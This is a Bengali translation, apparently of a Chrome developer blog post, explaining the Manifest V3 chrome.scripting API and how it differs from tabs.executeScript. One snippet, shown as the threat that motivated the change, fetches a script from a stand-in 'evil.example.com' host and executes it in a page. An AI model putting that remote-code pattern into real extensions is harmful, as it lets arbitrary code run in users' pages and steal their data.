chrome.scripting পেশ করা হচ্ছে

ম্যানিফেস্ট V3 Chrome এর এক্সটেনশন প্ল্যাটফর্মে বেশ কিছু পরিবর্তন এনেছে। এই পোস্টে, আমরা আরও উল্লেখযোগ্য পরিবর্তনগুলির মধ্যে একটি দ্বারা প্রবর্তিত প্রেরণা এবং পরিবর্তনগুলি অন্বেষণ করব: chrome.scripting API-এর প্রবর্তন৷

chrome.scripting কি?

নামটি সুপারিশ করতে পারে, chrome.scripting হল ম্যানিফেস্ট V3-এ প্রবর্তিত একটি নতুন নামস্থান যা স্ক্রিপ্ট এবং স্টাইল ইনজেকশন ক্ষমতার জন্য দায়ী৷

যে ডেভেলপাররা অতীতে ক্রোম এক্সটেনশন তৈরি করেছেন তারা ট্যাব এপিআই-chrome.tabs.executeScript এবং chrome.tabs.insertCSS মতো ম্যানিফেস্ট V2 পদ্ধতির সাথে পরিচিত হতে পারেন। এই পদ্ধতিগুলি এক্সটেনশনগুলিকে যথাক্রমে পৃষ্ঠাগুলিতে স্ক্রিপ্ট এবং স্টাইলশীটগুলি ইনজেক্ট করার অনুমতি দেয়। ম্যানিফেস্ট V3-এ, এই ক্ষমতাগুলি chrome.scripting এ চলে গেছে এবং আমরা ভবিষ্যতে কিছু নতুন ক্ষমতা সহ এই API প্রসারিত করার পরিকল্পনা করছি৷

কেন একটি নতুন API তৈরি করবেন?

এই ধরনের পরিবর্তনের সাথে, প্রথম প্রশ্নগুলির মধ্যে একটি যা আসতে থাকে, "কেন?"

কয়েকটি ভিন্ন কারণের কারণে ক্রোম টিম স্ক্রিপ্টিংয়ের জন্য একটি নতুন নামস্থান চালু করার সিদ্ধান্ত নিয়েছে। প্রথমত, ট্যাবস এপিআই বৈশিষ্ট্যগুলির জন্য কিছুটা জাঙ্ক ড্রয়ার। দ্বিতীয়ত, আমাদের বিদ্যমান executeScript API-এ ব্রেকিং পরিবর্তন করতে হবে। তৃতীয়ত, আমরা জানতাম যে আমরা এক্সটেনশনের জন্য স্ক্রিপ্টিং ক্ষমতা প্রসারিত করতে চাই। একসাথে, এই উদ্বেগগুলি পরিষ্কারভাবে হাউস স্ক্রিপ্টিং ক্ষমতার জন্য একটি নতুন নামস্থানের প্রয়োজনীয়তাকে সংজ্ঞায়িত করেছে।

জাঙ্ক ড্রয়ার

বিগত কয়েক বছর ধরে এক্সটেনশন টিমকে যে সমস্যাটি বিরক্ত করছে তার মধ্যে একটি হল chrome.tabs API ওভারলোড। যখন এই APIটি প্রথম চালু করা হয়েছিল, এটি প্রদান করা ক্ষমতাগুলির বেশিরভাগই একটি ব্রাউজার ট্যাবের বিস্তৃত ধারণার সাথে সম্পর্কিত ছিল। এমনকি সেই মুহুর্তে, যদিও, এটি বৈশিষ্ট্যগুলির কিছুটা দখলের ব্যাগ ছিল এবং বছরের পর বছর ধরে এই সংগ্রহটি কেবল বেড়েছে।

ম্যানিফেস্ট V3 প্রকাশের সময়, ট্যাবস এপিআই বেসিক ট্যাব ম্যানেজমেন্ট, সিলেকশন ম্যানেজমেন্ট, উইন্ডো অর্গানাইজেশন, মেসেজিং, জুম কন্ট্রোল, বেসিক নেভিগেশন, স্ক্রিপ্টিং এবং আরও কয়েকটি ছোট ক্ষমতা কভার করার জন্য বেড়েছে। যদিও এই সবগুলি গুরুত্বপূর্ণ, এটি বিকাশকারীদের জন্য কিছুটা অপ্রতিরোধ্য হতে পারে যখন তারা শুরু করছে এবং Chrome টিমের জন্য আমরা প্ল্যাটফর্মটি বজায় রাখি এবং বিকাশকারী সম্প্রদায়ের অনুরোধগুলি বিবেচনা করি৷

আরেকটি জটিল কারণ হল যে tabs অনুমতি ভালভাবে বোঝা যায় না। যদিও অন্যান্য অনেক অনুমতি একটি প্রদত্ত API (যেমন storage ) অ্যাক্সেস সীমাবদ্ধ করে, এই অনুমতিটি কিছুটা অস্বাভাবিক যে এটি শুধুমাত্র ট্যাব দৃষ্টান্তগুলিতে সংবেদনশীল বৈশিষ্ট্যগুলিতে এক্সটেনশন অ্যাক্সেস মঞ্জুর করে (এবং এক্সটেনশন দ্বারা উইন্ডোজ API-কেও প্রভাবিত করে)। বোধগম্যভাবে, অনেক এক্সটেনশন ডেভেলপাররা ভুল করে ভাবেন যে তাদের ট্যাব এপিআই-এ chrome.tabs.create বা আরও জার্মানভাবে, chrome.tabs.executeScript মতো পদ্ধতিগুলি অ্যাক্সেস করার জন্য এই অনুমতি প্রয়োজন। ট্যাব এপিআই থেকে কার্যকারিতা সরানো এই বিভ্রান্তির কিছু দূর করতে সাহায্য করে।

ব্রেকিং পরিবর্তন

ম্যানিফেস্ট V3 ডিজাইন করার সময়, একটি প্রধান সমস্যা যা আমরা সমাধান করতে চেয়েছিলাম তা হল অপব্যবহার এবং "রিমোট-হোস্টেড কোড" দ্বারা সক্রিয় ম্যালওয়্যার - কোড যা এক্সিকিউট করা হয়, কিন্তু এক্সটেনশন প্যাকেজে অন্তর্ভুক্ত নয়। অপমানজনক এক্সটেনশন লেখকদের কাছে ব্যবহারকারীর ডেটা চুরি করতে, ম্যালওয়্যার ইনজেক্ট করতে এবং সনাক্তকরণ এড়াতে দূরবর্তী সার্ভার থেকে আনা স্ক্রিপ্টগুলি কার্যকর করা সাধারণ৷ যদিও ভাল অভিনেতারাও এই ক্ষমতা ব্যবহার করে, আমরা শেষ পর্যন্ত অনুভব করেছি যে এটি যেমন ছিল তেমন থাকা খুব বিপজ্জনক।

এক্সটেনশনগুলি আনবান্ডেড কোড কার্যকর করতে পারে এমন কয়েকটি ভিন্ন উপায় রয়েছে, তবে এখানে প্রাসঙ্গিকটি হল Manifest V2 chrome.tabs.executeScript পদ্ধতি। এই পদ্ধতিটি একটি এক্সটেনশনকে একটি লক্ষ্য ট্যাবে কোডের একটি নির্বিচারে স্ট্রিং চালানোর অনুমতি দেয়। এর মানে হল যে একজন দূষিত বিকাশকারী একটি দূরবর্তী সার্ভার থেকে একটি নির্বিচারে স্ক্রিপ্ট আনতে পারে এবং এক্সটেনশনটি অ্যাক্সেস করতে পারে এমন যেকোনো পৃষ্ঠার ভিতরে এটি কার্যকর করতে পারে। আমরা জানতাম যে আমরা যদি দূরবর্তী কোড সমস্যাটি সমাধান করতে চাই তবে আমাদের এই বৈশিষ্ট্যটি বাদ দিতে হবে।

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

আমরা ম্যানিফেস্ট V2 সংস্করণের ডিজাইনের সাথে আরও কিছু, আরও সূক্ষ্ম সমস্যাগুলি পরিষ্কার করতে এবং এপিআইকে আরও পালিশ এবং অনুমানযোগ্য টুল বানাতে চেয়েছিলাম।

যদিও আমরা ট্যাবস এপিআই-এর মধ্যে এই পদ্ধতির স্বাক্ষর পরিবর্তন করতে পারতাম, আমরা অনুভব করেছি যে এই ব্রেকিং পরিবর্তন এবং নতুন ক্ষমতার প্রবর্তনের মধ্যে (পরবর্তী বিভাগে কভার করা হয়েছে), একটি পরিষ্কার বিরতি সবার জন্য সহজ হবে।

স্ক্রিপ্টিং ক্ষমতা প্রসারিত করা

আরেকটি বিবেচনা যা ম্যানিফেস্ট V3 ডিজাইন প্রক্রিয়ার মধ্যে দেওয়া হয়েছিল তা হল Chrome এর এক্সটেনশন প্ল্যাটফর্মে অতিরিক্ত স্ক্রিপ্টিং ক্ষমতা চালু করার ইচ্ছা। বিশেষত, আমরা গতিশীল কন্টেন্ট স্ক্রিপ্টের জন্য সমর্থন যোগ করতে এবং executeScript পদ্ধতির ক্ষমতা প্রসারিত করতে চেয়েছিলাম।

ডায়নামিক কন্টেন্ট স্ক্রিপ্ট সমর্থন Chromium-এ একটি দীর্ঘস্থায়ী বৈশিষ্ট্য অনুরোধ। আজ, ম্যানিফেস্ট V2 এবং V3 ক্রোম এক্সটেনশনগুলি শুধুমাত্র স্ট্যাটিকভাবে তাদের manifest.json ফাইলে কন্টেন্ট স্ক্রিপ্ট ঘোষণা করতে পারে; প্ল্যাটফর্মটি নতুন বিষয়বস্তু স্ক্রিপ্ট নিবন্ধন করার একটি উপায় প্রদান করে না, বিষয়বস্তু স্ক্রিপ্ট নিবন্ধন পরিবর্তন, বা রানটাইমে বিষয়বস্তু স্ক্রিপ্টগুলি আনরেজিস্টার করে।

যদিও আমরা জানতাম যে আমরা ম্যানিফেস্ট V3-তে এই বৈশিষ্ট্যের অনুরোধটি মোকাবেলা করতে চাই, আমাদের বিদ্যমান API-এর কোনোটিই সঠিক বাড়ির মতো মনে হয়নি। আমরা Firefox-এর সাথে তাদের Content Scripts API- এ সারিবদ্ধ করার কথাও বিবেচনা করেছি, কিন্তু খুব প্রথম দিকে আমরা এই পদ্ধতির কয়েকটি প্রধান ত্রুটি চিহ্নিত করেছি। প্রথমত, আমরা জানতাম যে আমাদের অসঙ্গত স্বাক্ষর থাকবে (যেমন code সম্পত্তির জন্য সমর্থন বাদ দেওয়া)। দ্বিতীয়ত, আমাদের এপিআই-এর ডিজাইনের সীমাবদ্ধতার একটি ভিন্ন সেট ছিল (যেমন একজন পরিষেবা কর্মীর জীবনকাল অতিক্রম করার জন্য একটি নিবন্ধন প্রয়োজন)। অবশেষে, এই নেমস্পেসটি আমাদেরকে কন্টেন্ট স্ক্রিপ্ট কার্যকারিতাতেও ঢেলে দেবে যেখানে আমরা আরও বিস্তৃতভাবে এক্সটেনশনে স্ক্রিপ্ট করার কথা ভাবছি।

executeScript ফ্রন্টে, আমরা ট্যাবস এপিআই সংস্করণ যা সমর্থিত তার বাইরেও এই API কী করতে পারে তা প্রসারিত করতে চেয়েছিলাম। আরও নির্দিষ্টভাবে, আমরা ফাংশন এবং আর্গুমেন্ট সমর্থন করতে চেয়েছিলাম, আরও সহজে নির্দিষ্ট ফ্রেমগুলিকে লক্ষ্য করতে এবং অ-"ট্যাব" প্রসঙ্গগুলিকে লক্ষ্য করতে চেয়েছিলাম।

এগিয়ে চলছি, আমরা এটাও বিবেচনা করছি যে কীভাবে এক্সটেনশানগুলি ইনস্টল করা PWA এবং অন্যান্য প্রসঙ্গগুলির সাথে ইন্টারঅ্যাক্ট করতে পারে যা ধারণাগতভাবে "ট্যাব"-এ ম্যাপ করে না।

tabs.executeScript এবং scripting.executeScript-এর মধ্যে পরিবর্তন

এই পোস্টের বাকি অংশে, আমি chrome.tabs.executeScript এবং chrome.scripting.executeScript মধ্যে মিল এবং পার্থক্যগুলি ঘনিষ্ঠভাবে দেখতে চাই।

আর্গুমেন্ট সহ একটি ফাংশন ইনজেকশন করা

দূরবর্তীভাবে হোস্ট করা কোড বিধিনিষেধের আলোকে প্ল্যাটফর্মটি কীভাবে বিকশিত হতে হবে তা বিবেচনা করার সময়, আমরা নির্বিচারে কোড এক্সিকিউশন এবং শুধুমাত্র স্ট্যাটিক কন্টেন্ট স্ক্রিপ্টের অনুমতি দেওয়ার মধ্যে একটি ভারসাম্য খুঁজে পেতে চেয়েছিলাম। আমরা যে সমাধানটি করেছি তা হল এক্সটেনশনকে একটি বিষয়বস্তু স্ক্রিপ্ট হিসাবে একটি ফাংশন ইনজেক্ট করার অনুমতি দেওয়া এবং আর্গুমেন্ট হিসাবে মানগুলির একটি অ্যারে পাস করা৷

আসুন একটি (অত্যধিক সরলীকৃত) উদাহরণটি দ্রুত দেখে নেওয়া যাক। বলুন যে আমরা একটি স্ক্রিপ্ট ইনজেক্ট করতে চেয়েছিলাম যা ব্যবহারকারীকে যখন এক্সটেনশনের অ্যাকশন বোতামে ক্লিক করে (টুলবারে আইকন) তখন নাম দিয়ে অভিবাদন জানায়। ম্যানিফেস্ট V2-এ, আমরা গতিশীলভাবে একটি কোড স্ট্রিং তৈরি করতে পারি এবং বর্তমান পৃষ্ঠায় সেই স্ক্রিপ্টটি কার্যকর করতে পারি।

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

যদিও ম্যানিফেস্ট V3 এক্সটেনশনগুলি এমন কোড ব্যবহার করতে পারে না যা এক্সটেনশনের সাথে বান্ডিল নয়, আমাদের লক্ষ্য ছিল কিছু গতিশীলতা রক্ষা করা যা ম্যানিফেস্ট V2 এক্সটেনশনগুলির জন্য স্বেচ্ছাচারী কোড ব্লকগুলি সক্ষম করে। ফাংশন এবং আর্গুমেন্ট পন্থা ক্রোম ওয়েব স্টোরের পর্যালোচক, ব্যবহারকারী এবং অন্যান্য আগ্রহী পক্ষের জন্য এক্সটেনশনের ঝুঁকিগুলিকে আরও সঠিকভাবে মূল্যায়ন করা সম্ভব করে তোলে যখন ডেভেলপারদের ব্যবহারকারীর সেটিংস বা অ্যাপ্লিকেশন অবস্থার উপর ভিত্তি করে একটি এক্সটেনশনের রানটাইম আচরণ পরিবর্তন করার অনুমতি দেয়৷

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

টার্গেটিং ফ্রেম

আমরা আরও উন্নত করতে চেয়েছিলাম যে কীভাবে বিকাশকারীরা সংশোধিত API-এ ফ্রেমের সাথে ইন্টারঅ্যাক্ট করে। executeScript ম্যানিফেস্ট V2 সংস্করণটি ডেভেলপারদের একটি ট্যাবের সমস্ত ফ্রেম বা ট্যাবের একটি নির্দিষ্ট ফ্রেমকে লক্ষ্য করার অনুমতি দেয়৷ একটি ট্যাবে সমস্ত ফ্রেমের তালিকা পেতে আপনি chrome.webNavigation.getAllFrames ব্যবহার করতে পারেন৷

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

ম্যানিফেস্ট V3-এ, আমরা অপশন অবজেক্টের ঐচ্ছিক frameId পূর্ণসংখ্যা বৈশিষ্ট্যটিকে একটি ঐচ্ছিক frameIds পূর্ণসংখ্যার অ্যারে দিয়ে প্রতিস্থাপন করেছি; এটি ডেভেলপারদের একটি একক API কলে একাধিক ফ্রেমকে লক্ষ্য করতে দেয়।

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

স্ক্রিপ্ট ইনজেকশন ফলাফল

ম্যানিফেস্ট V3-এ আমরা স্ক্রিপ্ট ইনজেকশনের ফলাফল ফেরানোর উপায়ও উন্নত করেছি। একটি "ফলাফল" মূলত একটি স্ক্রিপ্টে মূল্যায়ন করা চূড়ান্ত বিবৃতি। আপনি যখন eval() কল করেন বা Chrome DevTools কনসোলে কোডের একটি ব্লক এক্সিকিউট করেন, তবে প্রসেস জুড়ে ফলাফলগুলি পাস করার জন্য ক্রমিকভাবে ক্রমিকভাবে কল করার সময় প্রত্যাবর্তিত মানটির মতো মনে করুন।

ম্যানিফেস্ট V2-এ, executeScript এবং insertCSS প্লেইন এক্সিকিউশন ফলাফলের একটি অ্যারে ফিরিয়ে দেবে। আপনার যদি শুধুমাত্র একটি ইঞ্জেকশন পয়েন্ট থাকে তবে এটি ঠিক আছে, তবে একাধিক ফ্রেমে ইনজেকশন দেওয়ার সময় ফলাফলের ক্রম নিশ্চিত করা হয় না তাই কোন ফলাফলটি কোন ফ্রেমের সাথে যুক্ত তা বলার কোন উপায় নেই৷

একটি সুনির্দিষ্ট উদাহরণের জন্য, আসুন একটি ম্যানিফেস্ট V2 এবং একই এক্সটেনশনের একটি ম্যানিফেস্ট V3 সংস্করণ দ্বারা প্রত্যাবর্তিত results অ্যারেগুলি একবার দেখে নেওয়া যাক। এক্সটেনশনের উভয় সংস্করণ একই বিষয়বস্তু স্ক্রিপ্ট ইনজেক্ট করবে এবং আমরা একই ডেমো পৃষ্ঠায় ফলাফল তুলনা করব।

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

যখন আমরা ম্যানিফেস্ট V2 সংস্করণ চালাই, তখন আমরা [1, 0, 5] এর একটি অ্যারে ফিরে পাই। কোন ফলাফল প্রধান ফ্রেমের সাথে মিলে যায় এবং কোনটি iframe এর জন্য? রিটার্ন মান আমাদের বলে না, তাই আমরা নিশ্চিতভাবে জানি না।

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

ম্যানিফেস্ট V3 সংস্করণে, results এখন শুধুমাত্র মূল্যায়নের ফলাফলের অ্যারের পরিবর্তে ফলাফল বস্তুর একটি অ্যারে রয়েছে এবং ফলাফল বস্তুগুলি প্রতিটি ফলাফলের জন্য ফ্রেমের আইডি স্পষ্টভাবে সনাক্ত করে। এটি ডেভেলপারদের জন্য ফলাফলটি ব্যবহার করা এবং একটি নির্দিষ্ট ফ্রেমে পদক্ষেপ নেওয়া অনেক সহজ করে তোলে।

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

গুটিয়ে নিন

ম্যানিফেস্ট সংস্করণ বাম্পগুলি এক্সটেনশন APIগুলিকে পুনর্বিবেচনা এবং আধুনিকীকরণের একটি বিরল সুযোগ উপস্থাপন করে৷ ম্যানিফেস্ট V3-এর সাথে আমাদের লক্ষ্য হল এক্সটেনশনগুলিকে আরও নিরাপদ করার পাশাপাশি ডেভেলপারের অভিজ্ঞতার উন্নতির মাধ্যমে শেষ ব্যবহারকারীর অভিজ্ঞতা উন্নত করা। Manifest V3-এ chrome.scripting প্রবর্তন করার মাধ্যমে, আমরা Tabs API পরিষ্কার করতে, আরও নিরাপদ এক্সটেনশন প্ল্যাটফর্মের জন্য executeScript পুনরায় কল্পনা করতে এবং নতুন স্ক্রিপ্টিং ক্ষমতার ভিত্তি স্থাপন করতে সক্ষম হয়েছি যা এই বছরের শেষের দিকে আসবে৷